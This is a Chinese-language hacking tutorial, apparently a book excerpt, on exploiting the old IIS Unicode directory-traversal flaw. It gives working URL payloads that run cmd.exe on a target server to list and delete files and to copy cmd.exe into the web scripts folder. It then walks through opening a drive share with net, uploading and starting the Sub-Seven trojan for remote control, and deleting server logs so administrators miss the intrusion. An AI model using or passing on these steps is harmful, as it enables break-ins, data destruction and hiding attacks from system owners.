中美网络对战中黑客对UNICODE漏洞的利用

　　获得了控制台命令的执行权限，就意味着黑客可以执行dir、copy、echo、net等多个命令，也就是说黑客可以浏览、删除服务器硬盘上的文件，还可以使用net命令打开服务器的某个目录的共享状态，然后上传木马并继续使用控制台命令调用木马。

　　例如http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\game可以使用dir命令列出服务器的c:\game目录中（如果有的话）的文件列表，将“/c+dir+”更改成“/c+del+”既可以删除后面指定的文件了。

　　4、完整利用：

　　现在假设学习者手中拥有sub-seven木马和一台已经确认具有UNICODE漏洞的服务器，之后所要做的事情就是单纯的利用浏览器和木马程序就可以完全控制服务器了。

　　首先利用扫描器找到一台具有IISCODE漏洞的服务器（例如http://www.bnc.org/），然后通过浏览器完成下面的工作：

　　http://www.bnc.org/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

　　这样可以通过漏洞看到硬盘上的文件列表，地址行中的“..%c1%1c..”在不同的系统中可能不同，它的意思是经过UNICODE编码转变成符号“../..”，如果看到了文件列表说明漏洞的确存在，之后将cmd.exe文件复制到scripts目录下：

　　/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\webroot\scripts\abc.exe

　　这样就将cmd.exe程序保存到scripts/目录下，并且将它的文件名更改为abc.exe，如果不更改名称，系统将不会在其他目录中运行cmd.exe。这之后可以用/scripts/abc.exe?/c+dir+c:\game等形式直接调用cmd.exe命令。

　　使用cmd.exe配合net命令可以在对方的系统上开辟一个共享目录，这个目录可以设置为整个驱动器，有关net use的介绍已经在第二章中提到，在这里不再过多做解释。开辟了共享目录后，既可以通过“网上邻居”直接连接到对方的系统上\\www.bnc.org\，之后上传木马程序sub-seven的服务端到scripts下。

　　最后调用并激活木马程序/scripts/sub-seven.exe，这样所有入侵工作全部完成了。之后在本地电脑上运行sub-seven的客户端程序，并在IP地址内输入对方的IP，控制对方系统。进入系统之后，要注意删除c:\winnt\log下的日志文件，这样系统管理员就不会发现此次入侵活动了。